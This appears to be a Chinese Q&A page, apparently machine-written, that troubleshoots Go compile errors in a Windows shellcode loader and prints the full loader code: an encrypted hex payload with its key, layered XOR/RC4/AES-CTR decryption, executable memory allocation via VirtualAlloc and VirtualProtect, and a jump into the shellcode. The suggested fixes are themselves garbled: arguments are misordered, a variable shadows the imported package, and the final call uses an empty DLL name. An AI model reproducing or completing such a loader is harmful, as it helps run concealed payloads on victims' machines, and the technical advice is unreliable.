Go 语言 Windows 平台 Shellcode 解密代码编译错误分析
该代码涉及到 Windows 系统操作,需要在 Windows 环境下编译运行。编译时需要添加 'CGO_ENABLED=1' 和 'GOOS=windows' 环境变量,例如:'CGO_ENABLED=1 GOOS=windows go build jiemi.go'。
同时还需要在代码中添加 'import "syscall"',因为 'windows' 包中的一些函数实际上是使用了 'syscall' 包中的函数实现的。
代码分析:
代码中出现的错误主要集中在使用 'windows' 包中的函数:
-
undefined: windows.SYSTEM_INFO和undefined: windows.GetSystemInfo:这两个错误表示在当前环境下无法找到 'windows.SYSTEM_INFO' 和 'windows.GetSystemInfo' 的定义。这通常是因为缺少 'windows' 包的必要依赖项,或者编译环境配置不正确。 -
cannot use nil as uintptr value in argument to windows.VirtualAlloc:这个错误表示 'windows.VirtualAlloc' 函数的第一个参数(内存地址)不能为 'nil'。这通常是因为没有为要分配的内存提供一个有效的地址。
解决方案:
-
添加
CGO_ENABLED=1和GOOS=windows环境变量:这两个环境变量用于告诉 Go 编译器在编译代码时启用 CGO 和指定目标平台为 Windows。 -
添加
import "syscall":导入 'syscall' 包,这样才能使用 'windows' 包中依赖于 'syscall' 包的函数。
代码示例:
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/rc4"
"encoding/base64"
"encoding/hex"
"fmt"
"golang.org/x/sys/windows"
"syscall"
"unsafe"
)
func main() {
encryptedShellcode := 'c864430a8f04ba703841e7eed9d0e45f7beea055a45c39a3aa1e6543b6010248b917154c1299dc4c4d90214e2665ba6f5d6f163b6bb5dc7bbe8f0cf145eecb9'
// 解密shellcode
key, _ := base64.StdEncoding.DecodeString("wNnqnB8KmCX/gX9Ddv3xq3W7M8sJtKsRt102nIRtxF0=")
decodeShellcode, _ := hex.DecodeString(encryptedShellcode)
for i := 0; i < len(decodeShellcode); i++ {
decodeShellcode[i] ^= key[i%len(key)]
}
rc4Cipher, _ := rc4.NewCipher(key)
rc4Cipher.XORKeyStream(decodeShellcode, decodeShellcode)
block, _ := aes.NewCipher(key)
iv := decodeShellcode[:aes.BlockSize]
stream := cipher.NewCTR(block, iv)
stream.XORKeyStream(decodeShellcode[aes.BlockSize:], decodeShellcode[aes.BlockSize:])
// 获取内存页大小
var systemInfo windows.SYSTEM_INFO
windows.GetSystemInfo(&systemInfo)
pageSize := systemInfo.dwPageSize
// 分配内存空间
addr, err := windows.VirtualAlloc(nil, uintptr(len(decodeShellcode)), windows.MEM_COMMIT|windows.PAGE_EXECUTE_READWRITE, windows.MEM_RESERVE)
if err != nil {
panic(err)
}
// 将shellcode复制到内存空间
copy((*[1 << 30]byte)(unsafe.Pointer(addr))[:len(decodeShellcode)], decodeShellcode)
// 跳转到shellcode
syscall := windows.NewLazySystemDLL("kernel32.dll").NewProc("VirtualProtect")
var oldProtect uint32
syscall.Call(addr, uintptr(len(decodeShellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
syscall = windows.NewLazySystemDLL("").NewProc("")
syscall.Call()
}
注意:
- 该代码需要在 Windows 环境下编译运行。
- 代码中使用的 'windows' 包需要在 Windows 系统下安装。
- 代码中涉及到内存分配和操作,请谨慎使用,避免出现安全漏洞。
经过以上调整后,代码应该能够在 Windows 环境下成功编译运行。
原文地址: https://www.cveoy.top/t/topic/lP4w 著作权归作者所有。请勿转载和采集!